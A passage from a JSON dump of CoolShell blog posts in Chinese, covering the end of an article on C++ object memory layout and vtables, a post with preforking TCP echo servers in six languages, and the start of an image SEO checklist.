(int*)*((int*)(&amp;bb1)+4) &lt;&lt; endl; //NULL\n\ncout &lt;&lt; \"[5] B::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[5][0];\ncout &lt;&lt; \"     [0] \";\npFun(); //B1::f();\npFun = (Fun)pVtab[5][1];\ncout &lt;&lt; \"     [1] \";\npFun(); //B::Bf();\ncout &lt;&lt; \"     [2] \";\ncout &lt;&lt; \"0x\" &lt;&lt; (Fun)pVtab[5][2] &lt;&lt; endl;\n\ncout &lt;&lt; \"[6] B::ib = \";\ncout &lt;&lt; (int)*((int*)(&amp;bb1)+6) &lt;&lt;endl; //B::ib\ncout &lt;&lt; \"[7] B::cb = \";\n</pre>\n<p>其运行结果如下（我结出了GCC的和VC++2003的对比）：</p>\n<p><img alt=\"070\" class=\"aligncenter size-full wp-image-12184\" height=\"308\" src=\"../wp-content/uploads/2014/12/070.png\" width=\"627\"/></p>\n<p>这里，大家可以自己对比一下。关于细节上，我会在后面一并再说。</p>\n<p>下面的测试程序是看子类D的内存布局，同样是VC++ 2003的（因为VC++和GCC的内存布局上有一些细节上的不同，而VC++的相对要清楚很多，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：</p>\n<pre class=\"EnlighterJSRAW\">\nD d;\n\npVtab = (int**)&amp;d;\ncout &lt;&lt; \"[0] D::B1::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; \"     [0] \";    pFun(); //D::f1();\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; \"     [1] \";    pFun(); //B1::Bf1();\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; \"     [2] \";    pFun(); //D::Df();\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; \"     [3] \";\ncout &lt;&lt; pFun &lt;&lt; endl;\n\n//cout &lt;&lt; pVtab[4][2] &lt;&lt; endl;\ncout &lt;&lt; \"[1] = 0x\";\ncout &lt;&lt;  (int*)((&amp;dd)+1) &lt;&lt;endl; //????\n\ncout &lt;&lt; \"[2] B1::ib1 = \";\ncout &lt;&lt; *((int*)(&amp;dd)+2) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; \"[3] B1::cb1 = \";\ncout &lt;&lt; (char)*((int*)(&amp;dd)+3) &lt;&lt; endl; //B1::cb1\n\n//---------------------\ncout &lt;&lt; \"[4] D::B2::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[4][0];\ncout &lt;&lt; \"     [0] \";    pFun(); //D::f2();\npFun = (Fun)pVtab[4][1];\ncout &lt;&lt; \"     [1] \";    pFun(); //B2::Bf2();\npFun = (Fun)pVtab[4][2];\ncout &lt;&lt; \"     [2] \";\ncout &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; \"[5] = 0x\";\ncout &lt;&lt; *((int*)(&amp;dd)+5) &lt;&lt; endl; // ???\n\ncout &lt;&lt; \"[6] B2::ib2 = \";\ncout &lt;&lt; (int)*((int*)(&amp;dd)+6) &lt;&lt;endl; //B2::ib2\ncout &lt;&lt; \"[7] B2::cb2 = \";\ncout &lt;&lt; (char)*((int*)(&amp;dd)+7) &lt;&lt; endl; //B2::cb2\n\ncout &lt;&lt; \"[8] D::id = \";\ncout &lt;&lt; *((int*)(&amp;dd)+8) &lt;&lt; endl; //D::id\ncout &lt;&lt; \"[9] D::cd = \";\ncout &lt;&lt; (char)*((int*)(&amp;dd)+9) &lt;&lt; endl;//D::cd\n\ncout &lt;&lt; \"[10]  = 0x\";\ncout &lt;&lt; (int*)*((int*)(&amp;dd)+10) &lt;&lt; endl;\n//---------------------\ncout &lt;&lt; \"[11] D::B::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[11][0];\ncout &lt;&lt; \"     [0] \";    pFun(); //D::f();\npFun = (Fun)pVtab[11][1];\ncout &lt;&lt; \"     [1] \";    pFun(); //B::Bf();\npFun = (Fun)pVtab[11][2];\ncout &lt;&lt; \"     [2] \";\ncout &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; \"[12] B::ib = \";\ncout &lt;&lt; *((int*)(&amp;dd)+12) &lt;&lt; endl; //B::ib\ncout &lt;&lt; \"[13] B::cb = \";\ncout &lt;&lt; (char)*((int*)(&amp;dd)+13) &lt;&lt;endl;//B::cb</pre>\n<p>下面给出运行后的结果（分VC++和GCC两部份）</p>\n<p><img alt=\"07\" class=\"aligncenter size-full wp-image-12183\" height=\"530\" src=\"../wp-content/uploads/2014/12/07.png\" width=\"630\"/></p>\n<p>关于虚拟继承的运行结果我就不画图了（前面的作图已经让我产生了很严重的厌倦感，所以就偷个懒了，大家见谅了）</p>\n<p>在上面的输出结果中，我用不同的颜色做了一些标明。我们可以看到如下的几点：</p>\n<p style=\"padding-left: 30px;\">1）无论是GCC还是VC++，除了一些细节上的不同，其大体上的对象布局是一样的。也就是说，先是B1（黄色），然后是B2（绿色），接着是D（灰色），而B这个超类（青蓝色）的实例都放在最后的位置。</p>\n<p style=\"padding-left: 30px;\">2）关于虚函数表，尤其是第一个虚表，GCC和VC++有很重大的不一样。但仔细看下来，还是VC++的虚表比较清晰和有逻辑性。</p>\n<p style=\"padding-left: 30px;\">3）VC++和GCC都把B这个超类放到了最后，而VC++有一个NULL分隔符把B和B1和B2的布局分开。GCC则没有。</p>\n<p style=\"padding-left: 30px;\">4）VC++中的内存布局有两个地址我有些不是很明白，在其中我用红色标出了。取其内容是-4。接道理来说，这个指针应该是指向B类实例的内存地址（这个做法就是为了保证重复的父类只有一个实例的技术）。但取值后却不是。这点我目前还并不太清楚，还向大家请教。</p>\n<p style=\"padding-left: 30px;\">5）GCC的内存布局中在B1和B2中则没有指向B的指针。这点可以理解，编译器可以通过计算B1和B2的size而得出B的偏移量。</p>\n<h4>结束语</h4>\n<p>C++这门语言是一门比较复杂的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要我们去了解他后面的内存对象。这样我们才能真正的了解C++，从而能够更好的使用C++这门最难的编程语言。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12176.html\">C++ 对象的内存布局</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-11 到处都是Unix的胎记.html",
    "content": "<html><body><p>一说起Unix编程，不必多说，最著名的系统调用就是fork，pipe，exec，kill或是socket了（<a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/fork.2.html\"><code>fork(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html\"><code>execve(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/pipe.2.html\"><code>pipe(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/socketpair.2.html\"><code>socketpair(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/select.2.html\"><code>select(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/kill.2.html\"><code>kill(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/sigaction.2.html\"><code>sigaction(2)</code></a>）这些系统调用都像是Unix编程的胎记或签名一样，表明着它来自于Unix。</p>\n<p>下面这篇文章，将向大家展示Unix下最经典的socket的编程例子——使用fork + socket来创建一个TCP/IP的服务程序。这个编程模式很简单，首先是创建Socket，然后把其绑定在某个IP和Port上上侦听连接，接下来的一般做法是使用一个fork创建一个client服务进程再加上一个死循环用于处理和client的交互。这个模式是Unix下最经典的Socket编程例子。</p>\n<p>下面，让我们看看用C，Ruby，Python，Perl，PHP和Haskell来实现这一例子，你会发现这些例子中的Unix的胎记。如果你想知道这些例子中的技术细节，那么，向你推荐两本经典书——《Unix高级环境编程》和《Unix网络编程》。</p>\n<p><span id=\"more-1532\"></span></p>\n<h4>C语言</h4>\n<p>我们先来看一下经典的C是怎么实现的。</p>\n<pre class=\"EnlighterJSRAW\">/**\n * A simple preforking echo server in C.\n *\n * Building:\n *\n * $ gcc -Wall -o echo echo.c\n *\n * Usage:\n *\n * $ ./echo\n *\n *   ~ then in another terminal ... ~\n *\n * $ echo 'Hello, world!' | nc localhost 4242\n *\n */\n\n#include &lt;unistd.h&gt; /* fork, close */\n#include &lt;stdlib.h&gt; /* exit */\n#include &lt;string.h&gt; /* strlen */\n#include &lt;stdio.h&gt; /* perror, fdopen, fgets */\n#include &lt;sys/socket.h&gt;\n#include &lt;sys/wait.h&gt; /* waitpid */\n#include &lt;netdb.h&gt; /* getaddrinfo */\n\n#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)\n\n#define PORT \"4242\"\n#define NUM_CHILDREN 3\n\n#define MAXLEN 1024\n\nint readline(int fd, char *buf, int maxlen); // forward declaration\n\nint\nmain(int argc, char** argv)\n{\n    int i, n, sockfd, clientfd;\n    int yes = 1; // used in setsockopt(2)\n    struct addrinfo *ai;\n    struct sockaddr_in *client;\n    socklen_t client_t;\n    pid_t cpid; // child pid\n    char line[MAXLEN];\n    char cpid_s[32];\n    char welcome[32];\n\n    /* Create a socket and get its file descriptor -- socket(2) */\n    sockfd = socket(AF_INET, SOCK_STREAM, 0);\n    if (sockfd == -1) {\n    die(\"Couldn't create a socket\");\n    }\n\n    /* Prevents those dreaded \"Address already in use\" errors */\n    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&amp;yes, sizeof(int)) == -1) {\n    die(\"Couldn't setsockopt\");\n    }\n\n    /* Fill the address info struct (host + port) -- getaddrinfo(3) */\n    if (getaddrinfo(NULL, PORT, NULL, &amp;ai) != 0) {\n    die(\"Couldn't get address\");\n    }\n\n    /* Assign address to this socket's fd */\n    if (bind(sockfd, ai-&gt;ai_addr, ai-&gt;ai_addrlen) != 0) {\n    die(\"Couldn't bind socket to address\");\n    }\n\n    /* Free the memory used by our address info struct */\n    freeaddrinfo(ai);\n\n    /* Mark this socket as able to accept incoming connections */\n    if (listen(sockfd, 10) == -1) {\n    die(\"Couldn't make socket listen\");\n    }\n\n    /* Fork you some child processes. */\n    for (i = 0; i &lt; NUM_CHILDREN; i++) {\n    cpid = fork();\n    if (cpid == -1) {\n        die(\"Couldn't fork\");\n    }\n\n    if (cpid == 0) { // We're in the child ...\n        for (;;) { // Run forever ...\n        /* Necessary initialization for accept(2) */\n        client_t = sizeof client;\n\n        /* Blocks! */\n        clientfd = accept(sockfd, (struct sockaddr *)&amp;client, &amp;client_t);\n        if (clientfd == -1) {\n            die(\"Couldn't accept a connection\");\n        }\n\n        /* Send a welcome message/prompt */\n        bzero(cpid_s, 32);\n        bzero(welcome, 32);\n        sprintf(cpid_s, \"%d\", getpid());\n        sprintf(welcome, \"Child %s echo&gt; \", cpid_s);\n        send(clientfd, welcome, strlen(welcome), 0);\n\n        /* Read a line from the client socket ... */\n        n = readline(clientfd, line, MAXLEN);\n        if (n == -1) {\n            die(\"Couldn't read line from connection\");\n        }\n\n        /* ... and echo it back */\n        send(clientfd, line, n, 0);\n\n        /* Clean up the client socket */\n        close(clientfd);\n        }\n    }\n    }\n\n    /* Sit back and wait for all child processes to exit */\n    while (waitpid(-1, NULL, 0) &gt; 0);\n\n    /* Close up our socket */\n    close(sockfd);\n\n    return 0;\n}\n\n/**\n * Simple utility function that reads a line from a file descriptor fd,\n * up to maxlen bytes -- ripped from Unix Network Programming, Stevens.\n */\nint\nreadline(int fd, char *buf, int maxlen)\n{\n    int n, rc;\n    char c;\n\n    for (n = 1; n &lt; maxlen; n++) {\n    if ((rc = read(fd, &amp;c, 1)) == 1) {\n        *buf++ = c;\n        if (c == '\\n')\n        break;\n    } else if (rc == 0) {\n        if (n == 1)\n        return 0; // EOF, no data read\n        else\n        break; // EOF, read some data\n    } else\n        return -1; // error\n    }\n\n    *buf = '\\0'; // null-terminate\n    return n;\n}\n</pre>\n<h4>Ruby</h4>\n<p>下面是Ruby，你可以看到其中的fork</p>\n<pre class=\"EnlighterJSRAW\">\n# simple preforking echo server in Ruby\nrequire 'socket'\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nacceptor = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\naddress = Socket.pack_sockaddr_in(4242, 'localhost')\nacceptor.bind(address)\nacceptor.listen(10)\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\n#\n# The trap is guaranteed to happen, and guaranteed to happen only\n# once, right before the process exits for any reason (unless\n# it's terminated with a SIGKILL).\ntrap('EXIT') { acceptor.close }\n\n# Fork you some child processes. In the parent, the call to fork\n# returns immediately with the pid of the child process; fork never\n# returns in the child because we exit at the end of the block.\n3.times do\n  fork do\n    # now we're in the child process; trap (Ctrl-C) interrupts and\n    # exit immediately instead of dumping stack to stderr.\n    trap('INT') { exit }\n\n    puts \"child #$$ accepting on shared socket (localhost:4242)\"\n    loop {\n      # This is where the magic happens. accept(2) blocks until a\n      # new connection is ready to be dequeued.\n      socket, addr = acceptor.accept\n      socket.write \"child #$$ echo&gt; \"\n      socket.flush\n      message = socket.gets\n      socket.write message\n      socket.close\n      puts \"child #$$ echo'd: '#{message.strip}'\"\n    }\n    exit\n  end\nend\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntrap('INT') { puts \"\\nbailing\" ; exit }\n\n# Sit back and wait for all child processes to exit.\nProcess.waitall\n\n</pre>\n<h4>Python</h4>\n<pre class=\"EnlighterJSRAW\">\"\"\"\nSimple preforking echo server in Python.\n\"\"\"\n\nimport os\nimport sys\nimport socket\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\nacceptor = socket.socket()\nacceptor.bind(('localhost', 4242))\nacceptor.listen(10)\n\n# Ryan's Ruby code here traps EXIT and closes the socket. This\n# isn't required in Python; the socket will be closed when the\n# socket object gets garbage collected.\n\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor i in range(3):\n    pid = os.fork()\n\n    # os.fork() returns 0 in the child process and the child's\n    # process id in the parent. So if pid == 0 then we're in\n    # the child process.\n    if pid == 0:\n        # now we're in the child process; trap (Ctrl-C)\n        # interrupts by catching KeyboardInterrupt) and exit\n        # immediately instead of dumping stack to stderr.\n        childpid = os.getpid()\n        print \"Child %s listening on localhost:4242\" % childpid\n        try:\n            while 1:\n                # This is where the magic happens. accept(2)\n                # blocks until a new connection is ready to be\n                # dequeued.\n                conn, addr = acceptor.accept()\n\n                # For easier use, turn the socket connection\n                # into a file-like object.\n                flo = conn.makefile()\n                flo.write('Child %s echo&gt; ' % childpid)\n                flo.flush()\n                message = flo.readline()\n                flo.write(message)\n                flo.close()\n                conn.close()\n                print \"Child %s echo'd: %r\" % \\\n                          (childpid, message.strip())\n        except KeyboardInterrupt:\n            sys.exit()\n\n# Sit back and wait for all child processes to exit.\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry:\n    os.waitpid(-1, 0)\nexcept KeyboardInterrupt:\n    print \"\\nbailing\"\n    sys.exit()\n</pre>\n<h4>Perl</h4>\n<pre class=\"EnlighterJSRAW\">#!/usr/bin/perl\nuse 5.010;\nuse strict;\n\n# simple preforking echo server in Perl\nuse Proc::Fork;\nuse IO::Socket::INET;\n\nsub strip { s/\\A\\s+//, s/\\s+\\z// for my @r = @_; @r }\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nmy $acceptor = IO::Socket::INET-&gt;new(\n    LocalPort =&gt; 4242,\n    Reuse     =&gt; 1,\n    Listen    =&gt; 10,\n) or die \"Couln't start server: $!\\n\";\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\nEND { $acceptor-&gt;close }\n\n# Fork you some child processes. The code after the run_fork block runs\n# in all process, but because the child block ends in an exit call, only\n# the parent executes the rest of the program. If a parent block were\n# specified here, it would be invoked in the parent only, and passed the\n# PID of the child process.\nfor ( 1 .. 3 ) {\n    run_fork { child {\n        while (1) {\n            my $socket = $acceptor-&gt;accept;\n            $socket-&gt;printflush( \"child $$ echo&gt; \" );\n            my $message = $socket-&gt;getline;\n            $socket-&gt;print( $message );\n            $socket-&gt;close;\n            say \"child $$ echo'd: '${\\strip $message}'\";\n        }\n        exit;\n    } }\n}\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\n$SIG{ 'INT' } = sub { print \"bailing\\n\"; exit };\n\n# Sit back and wait for all child processes to exit.\n1 while 0 &lt; waitpid -1, 0;\n</pre>\n<h4>PHP</h4>\n<pre class=\"EnlighterJSRAW\">\n&lt;?\n/*\nSimple preforking echo server in PHP.\nRussell Beattie (russellbeattie.com)\n*/\n\n/* Allow the script to hang around waiting for connections. */\nset_time_limit(0);\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\n$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\nsocket_bind($socket,'localhost', 4242);\nsocket_listen($socket, 10);\n\npcntl_signal(SIGTERM, 'shutdown');\npcntl_signal(SIGINT, 'shutdown');\n\nfunction shutdown($signal){\n    global $socket;\n    socket_close($socket);\n    exit();\n}\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor($x = 1; $x &lt;= 3; $x++){\n   \n    $pid = pcntl_fork();\n   \n    # pcntl_fork() returns 0 in the child process and the child's\n    # process id in the parent. So if $pid == 0 then we're in\n    # the child process.\n    if($pid == 0){\n\n        $childpid = posix_getpid();\n       \n        echo \"Child $childpid listening on localhost:4242 \\n\";\n\n        while(true){\n            # This is where the magic happens. accept(2)\n            # blocks until a new connection is ready to be\n            # dequeued.\n            $conn = socket_accept($socket);\n\n            $message = socket_read($conn,1000,PHP_NORMAL_READ);\n           \n            socket_write($conn, \"Child $childpid echo&gt; $message\");\n       \n            socket_close($conn);\n       \n            echo \"Child $childpid echo'd: $message \\n\";\n       \n        }\n\n    }\n}\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry{\n\n    pcntl_waitpid(-1, $status);\n\n} catch (Exception $e) {\n\n    echo \"bailing \\n\";\n    exit();\n\n}</pre>\n<h4>Haskell</h4>\n<pre class=\"EnlighterJSRAW\">import Network\nimport Prelude hiding ((-))\nimport Control.Monad\nimport System.IO\nimport Control.Applicative\nimport System.Posix\nimport System.Exit\nimport System.Posix.Signals\n\nmain :: IO ()\nmain = with =&lt;&lt; (listenOn - PortNumber 4242) where\n\n  with socket = do\n    replicateM 3 - forkProcess work\n    wait\n\n    where\n    work = do\n      installHandler sigINT (Catch trap_int) Nothing\n      pid &lt;- show &lt;$&gt; getProcessID\n      puts - \"child \" ++ pid ++ \" accepting on shared socket (localhost:4242)\"\n     \n      forever - do\n        (h, _, _) &lt;- accept socket\n\n        let write   = hPutStr h\n            flush   = hFlush h\n            getline = hGetLine h\n            close   = hClose h\n\n        write - \"child \" ++ pid ++ \" echo&gt; \"\n        flush\n        message &lt;- getline\n        write - message ++ \"\\n\"\n        puts - \"child \" ++ pid ++ \" echo'd: '\" ++ message ++ \"'\"\n        close\n\n    wait = forever - do\n      ( const () &lt;$&gt; getAnyProcessStatus True True  ) <code class=\"EnlighterJSRAW\">catch</code> const trap_exit\n\n    trap_int = exitImmediately ExitSuccess\n\n    trap_exit = do\n      puts \"\\nbailing\"\n      sClose socket\n      exitSuccess\n\n    puts = putStrLn\n\n  (-) = ($)\n  infixr 0 -\n\n</pre>\n<p>如果你知道更多的，请你告诉我们。（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-11 图片搜索引擎优化Checklist.html",
    "content": "<html><body><p></p>\n<p style=\"font-size: 12px; font-family: Arial, Helvetica, sans-serif;\">今天，专业的搜索引擎优化SEO（Search Engine Optimizers）会让你的网页或文章能更多得被搜索并访问到。而图片的搜索优化则是这项技术中非常特别的一部分，它可以让你的图片更容易地被人搜索到，比如：艺术图片，服务设计，或是家具等等。相信大家都知道图片远比文字更有吸引力，这是因为我们都知道——“一图胜千言”。</p>\n<p style=\"font-size: 12px; font-family: Arial, Helvetica, sans-serif;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon.jpg\"><img alt=\"Image SEO\" class=\"aligncenter size-full wp-image-1529\" height=\"272\" src=\"../wp-content/uploads/2009/10/seo-cartoon.jpg\" title=\"Image SEO\" width=\"490\"/></a></p>\n<p>在搜索引擎的世界里，有一组有限的因素决定着图片的位置。下面是一个Checklist可以让你把你的图片搜索优化做得更好。</p>\n<p><span id=\"more-1528\"></span></p>\n<ul style=\"text-align: justify;\">\n<li>首先，你的图片应该是你的网页的一部分，他们使用了相同的样式。例如：页面的Title，head和Body文本必需和图片一样告诉访问者相同的故事。</li>\n<li>在你的服务器上创建一个Images的目录，把你的图片都保存在那里。并且确认搜索引擎可以index这个目录。</li>\n<li>在图片的文件名上使用描述性关键字，使用连字符号分隔关键字，千万不要使用下划线。</li>\n<li>为图片的HTML中&lt;image&gt;标识中的alt属性提供一个简短的描述，你可以认为这是图片的tag，千万不要在alt属性中放入太多的关键字，就算是这些关键字都是相关的。</li>\n<li>可以考虑使用一个短的文本来设置&lt;image&gt;的title属性，其中可以包含关键字。</li>\n<li>在图片的周围可以配上详细的说明来描述这个图片。</li>\n<li>如果你的图片有链接，那么，其链接文本对于图片搜索的rank是相当有用的。</li>\n<li>另一方面，如果你的有其它的页面链接到了某一有重要图片的页面，那么，请创建 keyword-rich 链接文本到这一网页。</li>\n<li>尽量使用高分辨率的图片，如果可能的话，提供不同分辨率的图片。</li>\n<li>避免在Javascript里设置“点击看大图”的链接，Javascript会让搜索引擎导致难以索引的问题。</li>\n<li>检查你图片的缩略图尺寸。缩略图应该到少能让人看清是什么，不然，就算是搜索位置靠前，人们也不会点击。</li>\n<li>把照片存成 .JPG 文件，而其它简单的图片则存成 .GIF文件。搜索引擎会试图把GIF文件认为是256色的，而JPG是真彩色的。</li>\n<li>经常更新你你的图片，因为这是搜索引擎会经常关临并给高分的依据。</li>\n<li>另外，最好在你你的图片上加上水印，这样可以让人们对你的网站增加印象。但水印要恰到好处，不然反而令人生厌。</li>\n</ul>\n<p>文章：<a href=\"http://www.webceo.com/newsletter/2009/081009.html\" target=\"_blank\">来源</a></p>\n<p><!-- InstanceEndEditable --><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 